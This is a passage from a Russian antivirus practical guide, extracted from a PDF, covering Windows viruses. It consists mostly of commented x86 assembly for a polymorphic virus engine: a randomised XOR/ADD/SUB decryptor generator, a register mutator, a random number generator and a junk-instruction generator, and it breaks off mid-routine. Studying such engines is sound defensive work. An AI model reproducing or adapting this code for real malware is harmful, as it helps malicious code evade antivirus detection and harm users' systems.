Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
261 |
|
|
|
|
ret |
; Возврат из подпрограммы |
|
;---------------------------------------------- |
||
polym: |
|
|
push |
ebp edi esi ebx |
; Сохраняем регистры |
mov |
[ebp+sz_code],ecx |
; Заносим параметры старта |
mov |
[ebp+begin_code],eax |
; из регистров в переменные |
mov |
[ebp+buff],edx |
; |
mov |
edi,edx |
; |
;---------------------------------------------- |
||
call |
len_gen |
; Вызываем генератор длин |
mov |
[ebp+sz_decr],40 |
|
add |
[ebp+sz_decr],ecx |
; добавляем длины мусора к |
|
|
; размеру декриптора |
call |
reg_mutate |
; Выбираем регистры, которые |
|
|
; будут использоваться в |
|
|
; декрипторе |
mov |
ecx,[ebp+len+0] |
; И генерируем первую партию |
call |
garbage |
; мусорных инструкций |
mov |
al,0e8h |
; Генерируем следующую |
stosb |
|
; инструкцию: call $+5 |
xor |
eax,eax |
; |
stosd |
|
; |
mov |
ecx,[ebp+len+4] |
; Генерируем новую партию |
call |
garbage |
; мусорных инструкций |
mov |
al,58h |
; Генерируем следующую |
add |
al,bh |
; инструкцию декриптора: |
stosb |
|
; pop reg1 |
mov |
ecx,[ebp+len+8] |
; Генерируем мусорные |
call |
garbage |
; инструкции |
|
|
; Генерируем следующую |
mov |
al,81h |
; инструкцию декриптора: |
stosb |
|
; add reg1,sz_decr-len[0] |
mov |
al,0c0h |
; |
add |
al,bh |
; Таким образом reg1 будет |
stosb |
|
; указывать на начало |
|
|
; закриптованного кода |
mov |
eax,[ebp+sz_decr] |
; |
sub |
eax,[ebp+len] |
; |
sub |
eax,9 |
; |
stosd |
|
; |
mov |
ecx,[ebp+len+12] |
; Генерируем мусорные |
call |
garbage |
; инструкции |
mov |
al,8bh |
; Генерируем инструкцию: |
stosb |
|
; mov reg2,reg1 |
|
|
; |
mov |
al,bl |
; У нас reg2 позже будет |
shl |
al,3 |
; использоваться для |
262 |
|
Windows вирусы |
|
|
|
add |
al,0c0h |
; сравнения |
add |
al,bh |
; |
stosb |
|
|
mov |
ecx,[ebp+len+16] |
; Генерируем мусорные |
call |
garbage |
; инструкции |
mov |
al,81h |
; |
stosb |
|
; |
mov |
al,0c0h |
; |
add |
al,bl |
; |
stosb |
|
; |
|
|
; Генерируем инструкцию: |
mov |
eax,[ebp+sz_code] |
; add reg2,size_code |
inc |
eax |
|
stosd |
|
; |
mov |
ecx,[ebp+len+20] |
; Генерируем мусорные |
call |
garbage |
; инструкции |
mov |
al,81h |
; |
stosb |
|
; Генерируем следующую |
mov |
al,0c0h |
; инструкцию: add reg1,4 |
add |
al,bh |
; |
stosb |
|
; |
|
|
; |
mov |
eax,4 |
; |
stosd |
|
; |
mov |
ecx,[ebp+len+24] |
; Генерируем следующую |
call |
garbage |
; партию мусора |
call |
random32 |
; |
mov |
[ebp+key2],eax |
; Сохраняем ключ криптования |
lea |
eax,[ebp+next] |
; Кладем в стэк смещение |
push |
eax |
; на метку next |
|
|
; Выбираем один из трех |
|
|
; вариантов криптования |
mov |
eax,3 |
; случайным образом. |
call |
brandom32 |
; |
|
|
; Алгоритмы криптования и |
cmp |
al,1 |
; декриптования: |
je |
enc_add32 |
; |
|
|
; 1) XOR |
cmp |
al,2 |
; 2) ADD |
je |
enc_sub32 |
; 3) SUB |
enc_xor32: |
|
|
mov |
al,81h |
; |
stosb |
|
; Генерируем инструкцию: |
mov |
al,30h |
; xor [reg1],key_decrypt |
add |
al,bh |
; |
stosb |
|
; |
mov |
eax,[ebp+key2] |
|
Windows вирусы |
263 |
|
|
|
|
stosd |
|
|
push |
edi |
; |
lea |
edi,[ebp+crypt_n] |
; |
mov |
al,33h |
; А в самом движке меняется |
stosb |
|
; алгоритм криптования |
pop |
edi |
; |
ret |
|
; Переход на метку next |
enc_add32: |
|
|
mov |
al,81h |
; |
stosb |
|
; Генерируем инструкцию: |
mov |
al,bh |
; add [reg1],key_decrypt |
stosb |
|
; |
mov |
eax,[ebp+key2] |
|
stosd |
|
|
push |
edi |
; |
lea |
edi,[ebp+crypt_n] |
; |
mov |
al,2bh |
; А в самом движке меняется |
stosb |
|
; алгоритм криптования |
pop |
edi |
; |
ret |
|
; Переход на метку next |
enc_sub32: |
|
|
mov |
al,81h |
; |
stosb |
|
; Генерируем следующую |
mov |
al,028h |
; инструкцию: |
add |
al,bh |
; sub [reg1],key_decrypt |
stosb |
|
; |
mov |
eax,[ebp+key2] |
|
stosd |
|
|
push |
edi |
; |
lea |
edi,[ebp+crypt_n] |
; А в самом движке меняем |
mov |
al,03h |
; алгоритм криптования |
stosb |
|
; |
pop |
edi |
; |
ret |
|
; Переход на метку next |
;---------------------------------------------- |
||
next: |
|
|
mov |
ecx,[ebp+len+28] |
; Генерируем очередную |
call |
garbage |
; партию мусора |
mov |
al,3bh |
; |
stosb |
|
; |
|
|
; |
xor |
eax,eax |
; |
mov |
al,bh |
; Генерируем инструкцию: |
shl |
al,3 |
; cmp reg1,reg2 |
add |
al,0c0h |
; |
add |
al,bl |
; |
stosb |
|
; |
;---------------------------------------------- |
|
|
264 |
|
|
Windows вирусы |
|
|
|
|
mov |
ax,820fh |
; |
|
stosw |
|
; |
|
xor |
eax,eax |
; |
|
dec |
eax |
; Генерируем инструкцию: |
|
mov |
ecx,7*4 |
; jb decrypt |
|
sub |
eax,[ebp+len+ecx] |
; |
|
mov |
ecx,6*4 |
; |
|
sub |
eax,[ebp+len+ecx] |
; |
|
sub |
eax,19 |
; |
|
stosd |
|
; |
|
mov |
ecx,[ebp+len+32] |
; Генерируем мусорные |
|
call |
garbage |
; инструкции |
|
;---------------------------------------------- |
|
|
|
mov |
ecx,[ebp+sz_code] |
; |
|
mov |
esi,[ebp+begin_code] |
; |
|
add |
ecx,esi |
; |
|
encrypt: |
|
; |
|
lodsd |
|
; Криптуем весь код ключом |
|
crypt_n: |
|
; и нужным алгоритмом |
|
xor |
eax,[ebp+key2] |
; |
|
stosd |
|
; |
|
cmp |
esi,ecx |
; |
|
jl |
encrypt |
; |
|
mov |
edx,[ebp+buff] |
; Заполняем регистры |
|
mov |
ecx,[ebp+sz_code] |
; результатами |
|
add |
ecx,[ebp+sz_decr] |
; |
|
pop |
ebx esi edi ebp |
; Востанавливаем регистры |
|
ret |
|
; И выходим из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
GARBAGE LENGTH GENERATOR SUBROUTINE |
; |
|
;---------------------------------------------------------------- |
|
|
; |
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROTINE |
|
; |
;---------------------------------------------------------------- |
|
|
; |
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
LENGTH OF ALL GARBAGE -> ECX |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
len_gen: |
|
; Подпрограмма генерации |
|
|
|
; длин для мусорных |
|
|
|
; инструкций |
|
xor |
ecx,ecx |
; Обнуляем esi и ecx |
|
xor |
esi,esi |
; |
|
loop1: |
|
; |
|
mov |
eax,100 |
; |
|
call |
brandom32 |
; Начинаем генерацию |
|
|
|
; длин, каждое число |
|
mov |
[ebp+len+esi],eax |
; диапазоне 0..100 |
|
add |
ecx,eax |
; |
|
Windows вирусы |
265 |
|
|
|
|
add |
esi,4 |
; |
cmp |
esi,36 |
; |
jne |
loop1 |
; |
ret |
|
; Возврат из подпрограммы |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; REGISTER MUTATOR SUBROUTINE ; ;———————————————————————————————————————-------------------------;
; |
[ IN ] |
; |
; |
|
; |
; |
NO INPUT IN SUBROTINE |
; |
;———————————————————————————————————————-------------------------;
; |
|
[ OUT ] |
|
|
; |
; |
|
|
|
|
; |
; |
USES |
REGISTER N1 |
-> |
BH (0..7) |
; |
; |
USES |
REGISTER N2 |
-> |
BL (0..7) |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reg_mutate: |
|
|
|
|
|
|
; Подпрограмма генерации |
generate1: |
|
|
; регистров для декриптора |
mov |
eax,8 |
|
; Получаем случайное число |
call |
brandom32 |
; в диапазоне 0..7 |
|
cmp |
al,00000100b |
; Используем все регистры |
|
je |
generate1 |
; кроме esp |
|
cmp |
al,00000101b |
; Используем все регистры |
|
je |
generate1 |
; кроме ebp |
|
mov |
bh,al |
|
; Сохраняем полученный |
|
|
|
; регистр |
generate2: |
|
|
|
mov |
eax,8 |
|
; Получаем случайное число |
call |
brandom32 |
; в диапазоне 0..7 |
|
cmp |
al,bh |
|
; Не должно быть двух |
je |
generate2 |
; идентичных регистров |
|
cmp |
al,00000100b |
; Используем все регистры |
|
je |
generate2 |
; кроме esp |
|
mov |
bl,al |
|
; Сохраняем полученный |
|
|
|
; регистр |
ret |
|
|
; Возврат из подпрограммы |
;---------------------------------------------- |
|||
sz_decr |
dd |
0 |
; |
begin_code |
dd |
0 |
; Данные необходимые для |
st_code |
dd |
0 |
; корректной работы |
sz_code |
dd |
0 |
; генератора |
buff |
dd |
0 |
; |
key2 |
dd |
0 |
; |
;---------------------------------------------- |
|||
len dd |
0,0,0,0,0,0,0,0,0 |
; Место для хранения длин |
|
;---------------------------------------------- |
|
|
|
Для работы мотора необходимы следующие модули:
1)генератор случайных чисел (r_gen32.asm)
2)Генератор исполнимого мусора (t_gen32.asm)
266 Windows вирусы
Разберем пример генератора случайных чисел:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx;
; |
|
|
[RANDOM IN RANGE GENERATOR V. 0.2] |
|
|
|
; |
||
; |
|
|
|
|
|
|
|
|
; |
; |
############ |
############# |
############# |
###### |
### |
; |
|||
; |
############# |
############## |
############## |
######## |
### |
; |
|||
; |
## |
### |
### |
|
### |
### |
### |
### |
; |
; |
############# |
### |
######## |
############## |
### |
### |
### |
; |
|
; |
############# |
### |
######### |
############## |
### |
### |
### |
; |
|
; |
## |
### |
### |
### |
### |
### |
### |
### |
; |
; |
## |
### |
############## |
############## |
### |
######### |
; |
||
; |
## |
### |
######### ############ |
############# |
### |
####### |
; |
||
; |
|
|
######### |
|
|
|
|
|
; |
; |
|
|
|
|
|
|
|
|
; |
; |
|
|
FOR MS WINDOWS |
|
|
|
|
; |
|
; |
|
|
|
|
|
|
|
|
; |
; |
|
|
|
BY SL0N |
|
|
|
|
; |
;------------------------------------------------ |
----------------------------; |
|
; |
MANUAL: |
; |
; |
|
; |
; RANGE |
OF RANDOM NUMBER -> EAX |
; |
; CALL |
BRANDOM32 |
; |
; |
|
; |
; RANDOM NUMBER IN RANGE -> EAX |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxx; brandom32:
|
call |
delta2 |
delta2: |
pop |
ebp |
|
sub |
ebp,offset delta2 |
;Эта подпрограмма
;возвращает случайное число
;в диапазоне 0..eax-1
push |
edx ecx |
; Сохраняем в стэке edx, ecx |
xor |
edx,edx |
; Обнуляем edx |
imul |
eax,eax,100 |
; Умножаем eax на 100 |
push |
eax |
; и сохраняем eax в стэке |
call |
random32 |
; Вызываем подпрограмму |
|
|
; генерации случайного числа |
pop |
ecx |
; Восстанавливаем значение |
|
|
; из стэка в ecx |
div |
ecx |
; Делим eax на ecx |
xchg |
eax,edx |
; Помещаем остаток в eax |
xor |
edx,edx |
; Обнуляем edx |
mov |
ecx,100 |
; Помещаем в ecx - 100 |
div |
ecx |
; Делим eax на ecx |
pop |
ecx edx |
; Восстанавливаем ecx, edx |
ret |
|
; Возврат из подпрограммы |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RANDOM NUMBER GENERATOR SUBROUTINE ; ;———————————————————————————————————————-----------------------;
; |
[ IN ] |
; |
; |
|
; |
Windows вирусы |
|
267 |
|
|
|
; |
NO INPUT IN SUBROTINE |
; |
;———————————————————————————————————————-----------------------; |
||
; |
[ OUT ] |
; |
; |
|
; |
; |
RANDOM NUMBER -> EAX |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
random32:
|
|
; Генератор случайных чисел |
push |
edx ecx |
; Сохраняем в стэке edx, ecx |
db |
0fh,031h |
; Инструкция rdtsc |
rcl |
eax,2 |
; Далее идут различные |
add |
eax,12345678h |
; математические |
random_seed = dword ptr $-4 |
; преобразования |
|
adc |
eax,esp |
; для получения, как |
xor |
eax,ecx |
; можно более независимого |
xor |
[ebp+random_seed], eax |
; числа |
add |
eax,[esp-8] |
; |
rcl |
eax,1 |
; |
pop |
ecx edx |
; Восстанавливаем ecx, edx |
ret |
|
; Возврат из подпрограммы |
;----------------------------------------------
Ничего сложного в этом модуле нет.
Теперь перейдем к разаработке генератора «мусора». Потому как без него с таким декриптором очень сложно достигнуть настоящего полиморфизма.
Исполняемый код должен быть как можно более разнообразным. В идеале получившийся дескриптор с «мусором» должен походить на обыкновенную программу с условными переходами и множеством функций.
Рассмотрим работу генератора «мусора» на примере:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx;
; |
|
|
[TRASH GENERATOR V. 0.2] |
|
|
|
; |
|
; |
|
|
|
|
|
|
|
; |
; |
############# |
############# |
############# |
###### |
#### |
; |
||
; |
############# |
############## |
############## |
######## |
#### |
; |
||
; |
### |
### |
|
### |
### |
### |
#### |
; |
; |
### |
### |
######## |
############## |
### |
### |
#### |
; |
; |
### |
### |
######### |
############## |
### |
### |
### |
; |
; |
### |
### |
### |
### |
### |
### |
### |
; |
; |
### |
############## |
############## |
### |
######### |
; |
||
; |
### ######### |
############ |
############# |
### |
####### |
; |
||
; |
######### |
|
|
|
|
|
|
; |
; |
|
|
|
|
|
|
|
; |
; |
|
|
|
|
|
|
|
; |
; |
|
|
FOR MS WINDOWS |
|
|
|
; |
|
; |
|
|
|
|
|
|
|
; |
; |
|
|
|
BY SL0N |
|
|
|
; |
;———————————————————————————————————————---------------------------------------;
; |
|
MANUAL: |
; |
; |
|
|
; |
; LENGTH OF GARBAGE |
-> ECX |
|
; |
; BUFFER FOR GARBAGE |
-> EDI |
|
; |
268 |
|
Windows вирусы |
|
|
|
; USELESS REGISTER N1 -> BH |
(0..7) |
; |
; USELESS REGISTER N2 -> BL |
(0..7) |
; |
; |
|
; |
; CALL GARBAGE |
|
; |
;———————————————————————————————————————---------------------------------------; |
||
; |
IT GENERATES INSTRUCTIONS: |
; |
; |
|
; |
; MOV, MOVSX/ZX, XCHG, LEA, |
ADD/ADC/AND/OR/SUB/SBB/XOR/CMP |
; |
; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR |
; |
|
; SHLD/SHRD, XADD, BSR/BSF, |
BT/BTC/BTR/BTS, JMP,REPZ/NZ |
; |
; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL |
; |
|
; |
|
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx;
garbage: |
|
; Подпрограмма генерации |
|
|
; мусорных инструкций |
push |
edx |
; Сохраняем в стэке |
push |
ecx |
; edx, ecx, ebx, ebp, esi |
push |
esi |
; |
push |
ebp |
; |
push |
ebx |
; |
call |
delta_offset1 |
; |
delta_offset1: |
pop ebp |
; Получаем дельта смещение |
sub |
ebp,offset delta_offset1 |
; |
delta_offset: |
|
|
mov |
eax,19 |
; Выбираем случайным образом |
call |
brandom32 |
; вариант генерации мусорных |
|
|
; инструкций |
shl |
eax,1 |
; Умножаем eax на 2 |
lea |
esi,[ebp+mega_table] |
; В esi смещение на таблицу |
|
|
; относительных смещений |
add |
esi,eax |
; к esi добавляем eax |
xor |
eax,eax |
; Обнуляем eax |
lodsw |
|
; В ax загружаем |
|
|
; относительное смещение от |
|
|
; метки delta_offset |
lea |
esi,[ebp+delta_offset] |
; В esi кладем смещение |
|
|
; метки delta_offset |
add |
eax,esi |
; Добавляем смещение |
|
|
; подпрограммы |
call |
eax |
; Вызываем ее |
jmp |
delta_offset |
; Переход на delta_offset |
;---------------------------------------------- |
||
instr_je: |
|
|
cmp |
cl,2 |
; Если длина генерируемой |
jl |
one_byte |
; инструкции меньше 2, то |
|
|
; мы переходим на генерацию |
|
|
; однобайтовых инструкций |
mov |
eax,10 |
; Выбираем случайным образом |
call |
brandom32 |
; число от 0..9 |
|
|
; |
add |
al,70h |
; Добавляем 70h |
stosb |
|
; и кладем его в буфер |
Windows вирусы |
|
269 |
|
|
|
|
|
xor |
al,al |
; Помещаем в al - 0 |
|
stosb |
|
; и кладем его в буфер |
|
|
|
; |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранный, |
|
|
|
; условный, вырожденный |
|
|
|
; переход: |
|
|
|
; ................... |
|
|
|
; je |
$+2 |
|
|
; jae |
$+2 |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_not: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0f7h |
; Помещаем в al - 0f7h |
|
stosb |
|
; и кладем его в буфер |
|
mov |
dl,0d0h |
; Помещаем в dl - 0dh |
|
mov |
eax,2 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..2 |
|
shl |
eax,3 |
; Умножаем на 8 |
|
add |
dl,al |
; Добавляем к dl - al |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; и кладем его в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция NOT/NEG: |
|
|
|
; ................... |
|
|
|
; not |
eax |
|
|
; neg |
edx |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_je2: |
|
|
|
cmp |
cl,6 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 6, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0fh |
; Помещаем в al - 0fh |
|
stosb |
|
; и кладем его в буфер |
|
mov |
eax,10 |
; Выбираем случайным образом |
|
call |
brandom32 |
; число от 0..9 |
|
|
|
; |
|
add |
al,80h |
; Добавляем 80h |
|
stosb |
|
; и кладем его в буфер |
|
270 |
|
|
Windows вирусы |
|
|
|
|
xor |
eax,eax |
; Помещаем в eax - 0 |
|
stosd |
|
; и кладем его в буфер |
|
|
|
; |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранный, |
|
|
|
; условный, вырожденный |
|
|
|
; переход: |
|
|
|
; ................... |
|
|
|
; je |
$+5 |
|
|
; jae |
$+5 |
|
|
; ................... |
|
sub |
ecx,6 |
; Уменьшаем счетчик на 6 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_x87: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0dch |
; Кладем в al - 0dch |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
eax,02fh |
; Генерируем случайное число |
|
call |
brandom32 |
; в интервале 0..2eh |
|
add |
al,0c0h |
; Добавляем к числу 0c0h |
|
stosb |
|
; и помещаем сумму в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция сопроцессора: |
|
|
|
; ................... |
|
|
|
; fadd |
st(0),st |
|
|
; fmul |
st(7),st |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_cmp: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
dl,3ah |
; Помещаем в dl - 03ah |
|
mov |
eax,3 |
; Получаем случайное число |
|
call |
brandom32 |
; в диапазоне 0..2 |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; Затем помещаем al в буфер |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
shl |
eax,3 |
; Умножаем eax на 8 |
|
add |
al,0c0h |
; Добавляем к al - 0c0h |
|
mov |
dl,al |
; помещаем в cl - al |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
add |
al,dl |
; Добавляем к al - cl |
|
stosb |
|
; И помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
